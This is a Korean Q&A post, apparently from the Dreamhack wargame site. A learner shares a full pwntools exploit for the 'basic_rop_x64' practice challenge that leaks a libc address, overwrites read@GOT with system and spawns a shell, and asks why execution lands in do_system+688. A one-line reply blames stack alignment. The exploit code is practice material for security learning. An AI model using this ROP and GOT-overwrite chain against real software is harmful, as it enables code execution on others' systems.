완료됨
GOT Overwrite을 이용해서 풀이 중 질문

드림핵에서 제공해주는 return to main 방법 말고 GOT를 Overwrite해서 문제를 풀이해보려고 합니다.

함께실습 Return to Library에 있는 풀이 코드를 그대로 가져왔는데 read@Got의 주소가 system의 주소로 덮어쓰기 되지 않고 다른 함수의 중간으로 점프됩니다.

from pwn import *

#r = remote("host3.dreamhack.games",19628)

e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
r = process("./basic_rop_x64")
rop = ROP(e)

gdb.attach(r)

p = b'A'*0x40 + b'B'*0x8

read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
#binsh_offset = list(libc.search(b"/bin/sh"))[0]

poprdi = rop.find_gadget(['pop rdi', 'ret'])[0]
poprsir15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

p += p64(poprdi) +p64(1)
p += p64(poprsir15)+p64(read_got)+p64(0)
p += p64(write_plt)

p += p64(ret) #중간에 rsp의 끝이 8이 아니라서 종료되길래 넣음. 
p += p64(poprdi) + p64(0)
p += p64(poprsir15) + p64(read_got) + p64(0)
p += p64(read_plt)

p += p64(poprdi)
p += p64(read_got + 0x8)
p += p64(ret)
p += p64(read_plt)

r.send(p)
r.recvuntil(b'A'*0x40)
read = u64(r.recvn(6) + b'\x00'*2)

lb = read - read_offset
lh = hex(lb)
system = lb + system_offset

r.send(p64(system)+b'/bin/sh')
r.interactive()

중간에 p += p64(ret) # ...rsp의 끝... 이 줄은 다시 생각해보니 system의 주소가 제대로 넘어가지 않아 그랬던 것 같습니다.

왜 system의 주소가 아니라 do_system+688의 주소가 불러와지는 걸까요?

#pwnable #시스템 #rop
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1

ret 가젯을 하나 추가해보세요. movaps 문제인 거 같습니다.

2024.11.02. 22:14